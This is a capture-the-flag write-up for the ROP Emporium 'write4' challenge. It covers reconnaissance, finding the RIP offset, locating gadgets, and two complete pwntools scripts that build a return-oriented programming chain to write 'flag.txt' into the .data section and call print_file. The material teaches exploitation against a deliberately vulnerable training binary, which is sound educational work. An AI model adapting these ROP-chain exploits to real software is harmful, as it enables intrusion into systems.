write464

Intro

today we are going to be tackling the 4th challenge on ROP Emporium which is a series of challenges to teach ROP Return Oriented Programming

download the x86 zip file and extract it using unzip, you will get 2 files a 32 bit executable and a flag.txt file which will be revealed if you exploit the binary

Basic Executable Reconnaissance

the executable is not stripped which makes reverse engeneering easier because it doesnt hide function names and the executable is dynamically linked so the libc library which contains many external functions like fprintf() are not loaded within the executable but they dynamically linked at the execution time

we have only one security configuration enabled which is NX No-Execute also known as Data Execution Prevention or DEP marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.

checksec --file=write4

let's locate strings and functions imported in this binary using rabin2

using ghidra to do more reversing on this binary we find the print_file() function which takes the string "nonexsistent" as argument so our goal is to write the flag.txt string somewhere and call the print_file() function with the argument flag.txt so it can be printed

let's take a look at the sections and their sizes and permissions in order to write our string somewhere there

now we will pick one of this sections that meets those conditions :

  • enough size so we can write our string

  • the section should be writeable

but even if those conditions are meet there is high possibility if the section we have choosed contains other data this may corrupt the binary so using ghidra let's take a look on the sections and find which sections maybe interesting for our purpose , data section is empty so this makes it a good one to write in it our string flag.txt

Locate RIP Offset

we will use gdb-pwndbg and cyclic from pwntools to generate a pattern and overwrite RIP and then search the pattern that made into RIP to find the offset to the RIP

let's run the program and send this pattern as input, so faaaaaaa is the pattern that made it into the RIP

seaching the pattern and the offset is 40

Writing flag.txt in data section

using gdb-pwndbg list all the functions in the binary and we find a function called usefulgadgets

let's disassemble this function

mov QWORD PTR [r14],r15; ret; => mov r15 register into the memory location pointed by the r14 register and then return

so the idea here is to find a way to empty the r14 register and put the data section address in it and then put the 8 bytes of the string "flag.txt" in the r15 and then use this gadget mov QWORD PTR [r14],r15; ret; to write "flag.txt" string that is in the r15 in the memory location pointed by the data section address (r14)

lets find the gadget that pops the r14 and the r15 using ropper

  • pop the r14 and put the data section address in it

  • pop the r15 and put "flag.txt" inside it

  • mov the r15 (flag.txt) to the memory location pointed by the r14 (data section)

  • pop rdi and put the data address in it

  • call print_file() function with the argument in the rdi

using ropper to find the pop rdi gadget

Exploitation

from pwn import *

# Set up pwntools for the correct architecture
exe = './write4'
elf = context.binary = ELF(exe, checksec=False)

io = process(exe)

offset = 40             # the offset to the RIP
print_file = 0x00400510	# the function we want to return to
data_addr = 0x00601028 	# .data section address
move_gadget = 0x400628 	# mov qword ptr [r14], r15; ret; 
pop_r14_r15 = 0x400690 	# pop r14; pop r15; ret; 
pop_rdi = 0x400693 	# pop rdi; ret;

payload = flat(
	asm('nop') * offset, #padding to the RIP
	pop_r14_r15, 	# pop the r14 and r15
	data_addr,   	# putting the data section address into the r14
	b"flag.txt",	# putting the "flag.txt" string in the r15
	move_gadget, 	# move the r15 into the memory location pointed by the r14
	pop_rdi,	# pop the rdi (first argument)
	data_addr,	# first argument of the print_file() function
	print_file,  	# RIP calling the print_file() function 	
)

write("payload", payload)
io.sendlineafter(b'>', payload)

io.interactive()

let's run the script and BOOM we've got the flag

another exploit using ROP class

from pwn import *

# Set up pwntools for the correct architecture
exe = './write4'
elf = context.binary = ELF(exe, checksec=False)

io = process(exe)

offset = 40
move_gadget = 0x400628 	# mov qword ptr [r14], r15; ret; 
pop_r14_r15 = 0x400690 	# pop r14; pop r15; ret; 
data_addr = elf.symbols.data_start # .data section address

rop = ROP(elf)

#write first 8 bytes into the data section
rop.raw([pop_r14_r15,data_addr,b"flag.txt",move_gadget])

rop.print_file(data_addr)

payload = flat(
	asm('nop') * offset,
	rop.chain()
)

write("payload", payload)
io.sendlineafter(b'>', payload)

io.interactive()

let's run this script and BOOM we've got the flag

Last updated

Was this helpful?